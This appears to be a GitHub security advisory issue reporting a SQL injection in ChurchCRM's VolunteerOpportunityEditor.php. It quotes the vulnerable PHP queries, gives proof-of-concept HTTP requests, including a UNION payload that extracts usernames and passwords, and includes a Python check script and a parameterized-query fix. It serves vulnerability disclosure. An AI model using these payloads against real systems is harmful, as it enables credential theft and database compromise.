Skip to content

ChurchCRM - SQL Injection via VolunteerOpportunityEditor #8

@cyl-love

Description

@cyl-love

Product

ChurchCRM

Vendor

ChurchCRM

Vendor Website

https://churchcrm.io

GitHub Repository

https://github.com/ChurchCRM/CRM

Affected Version

Latest (as of 2026-02-18)

Vulnerability Type

SQL Injection (CWE-89)

CVSS Score

9.8 (Critical)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description

A SQL injection vulnerability exists in VolunteerOpportunityEditor.php. The Opp parameter (volunteer opportunity ID) is directly concatenated into multiple SQL queries without proper parameterization. Although the vulnerability requires administrator authentication, it allows complete database compromise.

Vulnerable Code

File: VolunteerOpportunityEditor.php
Lines: 54, 149, 153, 155, 158

// Line 54 - SELECT query
$sSQL = "SELECT * FROM `volunteeropportunity_vol` WHERE `vol_ID` = '" . $iOpp . "'";

// Line 149 - SELECT query  
$sSQL = "SELECT vol_Order from volunteeropportunity_vol WHERE vol_ID='$iOpp'";

// Line 153 - DELETE query
$sSQL = "DELETE FROM `volunteeropportunity_vol` WHERE `vol_ID` = '" . $iOpp . "'";

// Line 155 - DELETE query
$sSQL = "DELETE FROM `person2volunteeropp_p2vo` WHERE `p2vo_vol_ID` = '" . $iOpp . "'";

// Line 158 - UPDATE query
$sSQL = "UPDATE volunteeropportunity_vol SET vol_Order=vol_Order-1 WHERE vol_Order>=$orderVal";

Proof of Concept

Time-based Blind SQL Injection

GET /VolunteerOpportunityEditor.php?act=delete&Opp=1'+AND+(SELECT+SLEEP(5))-- HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session

Data Extraction

GET /VolunteerOpportunityEditor.php?act=delete&Opp=1'+UNION+SELECT+username,password,3,4,5+FROM+user_usr-- HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session

Python PoC

#!/usr/bin/env python3
import requests

target = "http://target.com"
session = {"PHPSESSID": "admin_session"}

# Time-based blind SQL injection
payload = "1' AND (SELECT SLEEP(5))--"
url = f"{target}/VolunteerOpportunityEditor.php?act=delete&Opp={payload}"

response = requests.get(url, cookies=session)
if response.elapsed.total_seconds() >= 5:
    print("[+] SQL Injection confirmed!")

Impact

  • Complete database compromise
  • User credential extraction
  • Data exfiltration
  • Potential remote code execution

Remediation

Use parameterized queries:

$stmt = $mysqli->prepare("SELECT * FROM volunteeropportunity_vol WHERE vol_ID = ?");
$stmt->bind_param("i", $iOpp);
$stmt->execute();

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions